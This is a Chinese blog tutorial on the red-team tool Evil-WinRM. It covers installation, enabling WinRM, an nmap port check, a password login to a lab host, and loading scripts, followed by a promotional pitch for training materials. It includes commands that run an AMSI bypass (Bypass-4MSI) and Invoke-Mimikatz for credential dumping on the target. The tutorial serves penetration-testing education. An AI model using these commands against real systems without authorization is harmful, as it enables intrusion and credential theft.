红队神器Evil-winrm使用指南

网安教程

已于 2024-01-30 23:33:52 修改

阅读量419

点赞数

分类专栏：职业职场安全监测网络安全文章标签：运维服务器 linux

于 2023-08-15 10:15:00 首次发布

本文链接：https://blog.csdn.net/weixin_51725318/article/details/132271445

版权

网络安全同时被 3 个专栏收录

457 篇文章 106 订阅

订阅专栏

职业职场

316 篇文章 1 订阅

订阅专栏

安全监测

163 篇文章 0 订阅

订阅专栏

前言

Evil-winrm 是一款使用ruby 语言开发的开源工具。该工具具有许多很酷的功能，包括使用纯文本密码远程登录、SSL 加密登录、 NTLM 哈希登录、密钥登录、文件传输、日志存储等功能。该开发工具的作者不断更新工具并长期维护更新。使用 evil-winrm，我们可以获得远程主机的 PowerShell命令终端会话。该工具已在Kali Linux系统中集成。

其他系统安装

如果你的kali中没有安装，我们可以用下面的命令进行安装。

apt-get install evil-winrm

在这里插入图片描述

【----以下所有学习资料文末免费领！----】

关于WinRM

Windows远程管理（WinRM）是Windows Server 2003 R2以上版本中一种新式的方便远程管理的服务。WinRM是远程管理应用的“服务器”组成部分，并且WinRS（Windows远程Shell）是WinRM的“客户端”，它在远程管理WinRM服务器的计算机上运行。然而，我们应该注意到两个计算机必须手动安装WinRS，还要使WinRM能够启动并从远程系统传回信息。

启用WinRM

在powershell窗口中(管理员身份运行)输入enable-psremoting，启用WinRM会话配置

在这里插入图片描述

或者，我们用nmap进行端口扫描检查。

nmap -p5985,5986 192.168.5.38

在这里插入图片描述

食用指南

假设我们在账户枚举阶段获得了明文密码，并且注意到远程主机启用了 winrm 服务，我们可以使用 evil-winrm 在目标系统上进行远程会话。命令如下：

evil-winrm -i 192.168.5.38 -u kali -p admin12345

在这里插入图片描述

加载 Powershell 脚本

Evil-winrm 还提供了一项允许我们使用来自目标主机自带的powershell脚本的功能。可以直接将脚本加载到内存中，我们可以使用带有-s 参数接目标系统的powershell脚本的相对路径

evil-winrm -i 192.168.5.38 -u kali -p admin12345 -s /opt/privsc/powershell
Bypass-4MSI
Invoke-Mimikatz.ps1
Invoke-Mimikatz

在这里插入图片描述

学会网络安全，身为普通的你可以：

跨越90%企业的招聘硬门槛

增加70%就业机会

拿下BAT全国TOP100大厂敲门砖

体系化得到网络技术硬实力

IE大佬年薪可达30w+

如何入门学习网络安全【黑客】

【----帮助网安学习，以下所有学习资料文末免费领！----】

> ① 网安学习成长路径思维导图
> ② 60+网安经典常用工具包
> ③ 100+SRC漏洞分析报告
> ④ 150+网安攻防实战技术电子书
> ⑤ 最权威CISSP 认证考试指南+题库
> ⑥ 超1800页CTF实战技巧手册
> ⑦ 最新网安大厂面试题合集（含答案）
> ⑧ APP客户端安全检测指南（安卓+IOS）